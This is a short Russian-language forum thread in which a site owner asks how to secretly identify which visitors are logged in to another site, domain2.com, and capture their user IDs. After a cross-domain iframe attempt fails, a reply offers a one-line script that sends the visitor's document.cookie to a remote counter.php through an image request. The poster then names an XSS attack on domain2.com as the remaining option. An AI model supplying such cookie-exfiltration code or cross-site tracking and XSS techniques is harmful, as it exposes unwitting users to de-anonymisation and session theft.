подскажите по кроссдоменным фреймам\js

[sergioFerro]

Ввиду того что мало сообщений пишу на форуме запостить в другую часть форума не могу.

1. И так, есть сайт - domain.com, на него идет траф который зареган на сайте domain2.com
2. 80% пользователей залогинены с кукизами неумираемыми. Т.е. долгосрочными. И при попадении на сайт domain2.com происходит редирект на их страницу с айди - предназначенный только им.

Цель: вычислить айдишники людей которые зареганных на domain2.com
т.е. domain2.com/userXXXXX заходящих на сайт domain.com

Пробовал следующее:

1. создавал iframe на domain.com с src=domain2.com и пытался получить доступ к его элеменатм - iframe.contentWindow.location.href результат - permission denied
2. разные манипуляции с iframe - не даавали никаких положительных результатов.

Никто не сталкивался с такими задачами?

 

[zardoz]

Может попробовать использовать картинку вместо фрейма?

В странице Для просмотра ссылки Войди или Зарегистрируйся

<sсriрt>img = new Image(); img.src = "http://www.domain2.ru/counter.php?"+document.cookie;</sсriрt>

А на domain2.ru создать counter.php, который анализировал куки и считал бы траффик

 

[sergioFerro]

к сожалению в этом то и фишка что на domain2.com я не могу ничего создавать...

вижу тока один выход - xss отака на domain2.com ...

но все равно спасибо за ответ